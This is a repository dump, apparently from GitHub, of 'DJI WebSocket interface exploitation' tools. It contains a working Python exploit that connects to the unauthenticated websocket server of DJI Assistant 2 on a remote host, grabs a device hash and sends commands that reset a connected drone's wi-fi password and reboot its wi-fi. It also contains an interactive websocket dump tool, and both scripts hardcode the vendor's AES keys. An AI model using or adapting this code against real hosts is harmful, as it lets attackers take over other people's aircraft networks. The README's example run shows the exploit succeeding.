├── .gitignore ├── requirements.txt ├── README.md ├── dji_ws_exploit.py └── dji_wsdump.py /.gitignore: -------------------------------------------------------------------------------- 1 | .idea 2 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | websocket-client 2 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ## DJI WebSocket interface exploitation 2 | 3 | Tools for working with the websocket server launched by DJI Assistant 2 application. 4 | 5 | ### dji_wsdump.py 6 | 7 | [wsdump.py](https://pypi.python.org/pypi/websocket-client) tool from websocket-client package, modified to encrypt/decrypt 8 | data in communications with DJI Assistant 2 websocket server. 9 | 10 | ### dji_ws_exploit.py 11 | 12 | A tool to modify an aircraft wi-fi network password remotely while it is connected through USB to a remote host. 13 | 14 | ``` 15 | Usage: dji_ws_exploit.py [-h] target password 16 | target - remote host which the aircraft's connected to 17 | password - new wi-fi network password 18 | ``` 19 | 20 | Example: 21 | 22 | ``` 23 | # python dji_ws_exploit.py 192.168.17.7 1q2w3e 24 | [*] Connecting to ws://192.168.17.7:19870/general 25 | [*] Determined encryption: enabled 26 | [*] Grabbed id value: 1d9776fab950ed3f441909deafe56b1226ca5889 27 | [*] Connecting to ws://192.168.17.7:19870/controller/wifi/1d9776fab950ed3f441909deafe56b1226ca5889 28 | [*] Setting new password for wi-fi network 29 | [*] Rebooting wi-fi 30 | [!] Success 31 | ``` 32 | -------------------------------------------------------------------------------- /dji_ws_exploit.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import argparse 3 | from websocket import * 4 | import base64 5 | from Crypto.Cipher import AES 6 | import json 7 | 8 | CMD_SETPASS = '{"SEQ":"12345","CMD":"SetPasswordEx","VALUE":"%s"}' 9 | CMD_REBOOT = '{"SEQ":"12345","CMD":"DoRebootWifi"}' 10 | 11 | class dji_WebSocket(WebSocket): 12 | key_out = "e86aada34f6775290ba62ef372f0289f" 13 | key_in = "d93fedf01f9642769bd82ca098d1368f" 14 | 15 | def __init__(self, encryption=True, get_mask_key=None, sockopt=None, sslopt=None, 16 | fire_cont_frame=False, enable_multithread=False, 17 | skip_utf8_validation=False, **_): 18 | self.encryption = encryption 19 | super(dji_WebSocket, self).__init__(get_mask_key, sockopt, sslopt, 20 | fire_cont_frame, enable_multithread, 21 | skip_utf8_validation, **_) 22 | 23 | def encrypt(self, raw): 24 | padded = self._pad(raw) 25 | iv = '\x00' * AES.block_size 26 | cipher = AES.new(self.key_in, AES.MODE_CBC, iv) 27 | enc = cipher.encrypt(padded) 28 | return base64.b64encode(enc) 29 | 30 | def decrypt(self, enc): 31 | raw = base64.b64decode(enc) 32 | iv = '\x00' * AES.block_size 33 | cipher = AES.new(self.key_out, AES.MODE_CBC, iv) 34 | return self._unpad(cipher.decrypt(raw)) 35 | 36 | def _pad(self, s): 37 | return s + (AES.block_size - len(s) % AES.block_size) * chr(AES.block_size - len(s) % AES.block_size) 38 | 39 | def _unpad(self, s): 40 | return s[:-ord(s[len(s)-1:])] 41 | 42 | def send(self, payload, opcode=ABNF.OPCODE_TEXT): 43 | if self.encryption: 44 | data = self.encrypt(payload) 45 | else: 46 | data = payload 47 | super(dji_WebSocket, self).send(data) 48 | 49 | def recv(self): 50 | buf = super(dji_WebSocket, self).recv() 51 | if self.encryption: 52 | data = self.decrypt(buf) 53 | else: 54 | data = buf 55 | 56 | return data 57 | 58 | 59 | def wf_exploit(target, pwd): 60 | enc = False 61 | ws = dji_WebSocket(encryption=enc) 62 | 63 | ws_general = "ws://%s:19870/general" % target 64 | print "[*] Connecting to %s" % ws_general 65 | ws.connect(ws_general) 66 | 67 | data = ws.recv() 68 | if data.find('"') == -1 and data.find(':') == -1: 69 | enc = True 70 | print "[*] Determined encryption: %s" % ("enabled" if enc else "disabled") 71 | ws.close() 72 | 73 | ws.encryption = enc 74 | ws.connect(ws_general) 75 | try: 76 | # Depending on the aircraft model the server may return another number of replies 77 | appstatus = ws.recv() 78 | appversion = ws.recv() 79 | devicestatus = ws.recv() 80 | event1 = ws.recv() 81 | event2 = ws.recv() 82 | 83 | dev_hash = json.loads(devicestatus)["FILE"] 84 | print "[*] Grabbed id value: %s" % dev_hash 85 | ws.close() 86 | 87 | wf_cfg = "/controller/wifi/%s" % dev_hash 88 | if not devicestatus.find(wf_cfg): 89 | print "[-] Cannot find wi-fi settings url" 90 | exit(0) 91 | 92 | ws_wifi = "ws://%s:19870/controller/wifi/%s" % (target, dev_hash) 93 | print "[*] Connecting to %s" % ws_wifi 94 | ws.connect(ws_wifi) 95 | # ws.recv() 96 | 97 | print "[*] Setting new password for wi-fi network" 98 | ws.send(CMD_SETPASS % pwd) 99 | ws.recv() 100 | 101 | print "[*] Rebooting wi-fi" 102 | ws.send(CMD_REBOOT) 103 | ws.recv() 104 | 105 | print "[!] Success" 106 | except WebSocketException as e: 107 | print e 108 | 109 | 110 | def parse_args(): 111 | parser = argparse.ArgumentParser(description="DJI web socket utilization tool") 112 | parser.add_argument("target", help="Target domain name or ip address") 113 | parser.add_argument("password", help="New wi-fi password") 114 | 115 | return parser.parse_args() 116 | 117 | if __name__ == "__main__": 118 | args = parse_args() 119 | 120 | wf_exploit(args.target, args.password) 121 | -------------------------------------------------------------------------------- /dji_wsdump.py: -------------------------------------------------------------------------------- 1 | #!c:\Python27\python.exe 2 | import argparse 3 | import code 4 | import sys 5 | import threading 6 | import time 7 | import ssl 8 | 9 | import six 10 | from six.moves.urllib.parse import urlparse 11 | 12 | import websocket 13 | 14 | try: 15 | import readline 16 | except ImportError: 17 | pass 18 | 19 | import base64 20 | from Crypto.Cipher import AES 21 | 22 | class DJIws(object): 23 | key_out = "e86aada34f6775290ba62ef372f0289f" 24 | key_in = "d93fedf01f9642769bd82ca098d1368f" 25 | 26 | @staticmethod 27 | def encrypt(raw): 28 | raw = DJIws._pad(raw) 29 | iv = '\x00' * AES.block_size 30 | cipher = AES.new(DJIws.key_in, AES.MODE_CBC, iv) 31 | enc = cipher.encrypt(raw) 32 | return base64.b64encode(enc) 33 | 34 | @staticmethod 35 | def decrypt(enc): 36 | enc = base64.b64decode(enc) 37 | iv = '\x00' * AES.block_size 38 | cipher = AES.new(DJIws.key_out, AES.MODE_CBC, iv) 39 | return DJIws._unpad(cipher.decrypt(enc)) 40 | 41 | @staticmethod 42 | def _pad(s): 43 | return s + (AES.block_size - len(s) % AES.block_size) * chr(AES.block_size - len(s) % AES.block_size) 44 | 45 | @staticmethod 46 | def _unpad(s): 47 | return s[:-ord(s[len(s)-1:])] 48 | 49 | 50 | def get_encoding(): 51 | encoding = getattr(sys.stdin, "encoding", "") 52 | if not encoding: 53 | return "utf-8" 54 | else: 55 | return encoding.lower() 56 | 57 | 58 | OPCODE_DATA = (websocket.ABNF.OPCODE_TEXT, websocket.ABNF.OPCODE_BINARY) 59 | ENCODING = get_encoding() 60 | 61 | 62 | class VAction(argparse.Action): 63 | 64 | def __call__(self, parser, args, values, option_string=None): 65 | if values is None: 66 | values = "1" 67 | try: 68 | values = int(values) 69 | except ValueError: 70 | values = values.count("v") + 1 71 | setattr(args, self.dest, values) 72 | 73 | 74 | def parse_args(): 75 | parser = argparse.ArgumentParser(description="WebSocket Simple Dump Tool") 76 | parser.add_argument("url", metavar="ws_url", 77 | help="websocket url. ex. ws://echo.websocket.org/") 78 | parser.add_argument("-p", "--proxy", 79 | help="proxy url. ex. http://127.0.0.1:8080") 80 | parser.add_argument("-v", "--verbose", default=0, nargs='?', action=VAction, 81 | dest="verbose", 82 | help="set verbose mode. If set to 1, show opcode. " 83 | "If set to 2, enable to trace websocket module") 84 | parser.add_argument("-n", "--nocert", action='store_true', 85 | help="Ignore invalid SSL cert") 86 | parser.add_argument("-r", "--raw", action="store_true", 87 | help="raw output") 88 | parser.add_argument("-s", "--subprotocols", nargs='*', 89 | help="Set subprotocols") 90 | parser.add_argument("-o", "--origin", 91 | help="Set origin") 92 | parser.add_argument("--eof-wait", default=0, type=int, 93 | help="wait time(second) after 'EOF' received.") 94 | parser.add_argument("-t", "--text", 95 | help="Send initial text") 96 | parser.add_argument("--timings", action="store_true", 97 | help="Print timings in seconds") 98 | parser.add_argument("--headers", 99 | help="Set custom headers. Use ',' as separator") 100 | 101 | return parser.parse_args() 102 | 103 | 104 | class RawInput: 105 | 106 | def raw_input(self, prompt): 107 | if six.PY3: 108 | line = input(prompt) 109 | else: 110 | line = raw_input(prompt) 111 | 112 | if ENCODING and ENCODING != "utf-8" and not isinstance(line, six.text_type): 113 | line = line.decode(ENCODING).encode("utf-8") 114 | elif isinstance(line, six.text_type): 115 | line = line.encode("utf-8") 116 | 117 | return line 118 | 119 | 120 | class InteractiveConsole(RawInput, code.InteractiveConsole): 121 | 122 | def write(self, data): 123 | sys.stdout.write("\033[2K\033[E") 124 | # sys.stdout.write("\n") 125 | buf_out = DJIws.decrypt(data) 126 | sys.stdout.write("\033[34m< " + buf_out + "\033[39m") 127 | sys.stdout.write("\n> ") 128 | sys.stdout.flush() 129 | 130 | def read(self): 131 | data = self.raw_input("> ") 132 | buf_in = DJIws.encrypt(data) 133 | return buf_in 134 | 135 | 136 | class NonInteractive(RawInput): 137 | 138 | def write(self, data): 139 | sys.stdout.write(data) 140 | sys.stdout.write("\n") 141 | sys.stdout.flush() 142 | 143 | def read(self): 144 | return self.raw_input("") 145 | 146 | 147 | def main(): 148 | start_time = time.time() 149 | args = parse_args() 150 | if args.verbose > 1: 151 | websocket.enableTrace(True) 152 | options = {} 153 | if args.proxy: 154 | p = urlparse(args.proxy) 155 | options["http_proxy_host"] = p.hostname 156 | options["http_proxy_port"] = p.port 157 | if args.origin: 158 | options["origin"] = args.origin 159 | if args.subprotocols: 160 | options["subprotocols"] = args.subprotocols 161 | opts = {} 162 | if args.nocert: 163 | opts = {"cert_reqs": ssl.CERT_NONE, "check_hostname": False} 164 | if args.headers: 165 | options['header'] = map(str.strip, args.headers.split(',')) 166 | ws = websocket.create_connection(args.url, sslopt=opts, **options) 167 | if args.raw: 168 | console = NonInteractive() 169 | else: 170 | console = InteractiveConsole() 171 | print("Press Ctrl+C to quit") 172 | 173 | def recv(): 174 | try: 175 | frame = ws.recv_frame() 176 | except websocket.WebSocketException: 177 | return websocket.ABNF.OPCODE_CLOSE, None 178 | if not frame: 179 | raise websocket.WebSocketException("Not a valid frame %s" % frame) 180 | elif frame.opcode in OPCODE_DATA: 181 | return frame.opcode, frame.data 182 | elif frame.opcode == websocket.ABNF.OPCODE_CLOSE: 183 | ws.send_close() 184 | return frame.opcode, None 185 | elif frame.opcode == websocket.ABNF.OPCODE_PING: 186 | ws.pong(frame.data) 187 | return frame.opcode, frame.data 188 | 189 | return frame.opcode, frame.data 190 | 191 | def recv_ws(): 192 | while True: 193 | opcode, data = recv() 194 | msg = None 195 | if six.PY3 and opcode == websocket.ABNF.OPCODE_TEXT and isinstance(data, bytes): 196 | data = str(data, "utf-8") 197 | if not args.verbose and opcode in OPCODE_DATA: 198 | msg = data 199 | elif args.verbose: 200 | msg = "%s: %s" % (websocket.ABNF.OPCODE_MAP.get(opcode), data) 201 | 202 | if msg is not None: 203 | if args.timings: 204 | console.write(str(time.time() - start_time) + ": " + msg) 205 | else: 206 | console.write(msg) 207 | 208 | if opcode == websocket.ABNF.OPCODE_CLOSE: 209 | break 210 | 211 | thread = threading.Thread(target=recv_ws) 212 | thread.daemon = True 213 | thread.start() 214 | 215 | if args.text: 216 | ws.send(args.text) 217 | 218 | while True: 219 | try: 220 | message = console.read() 221 | ws.send(message) 222 | except KeyboardInterrupt: 223 | return 224 | except EOFError: 225 | time.sleep(args.eof_wait) 226 | return 227 | 228 | 229 | if __name__ == "__main__": 230 | try: 231 | main() 232 | except Exception as e: 233 | print(e) 234 | 235 | --------------------------------------------------------------------------------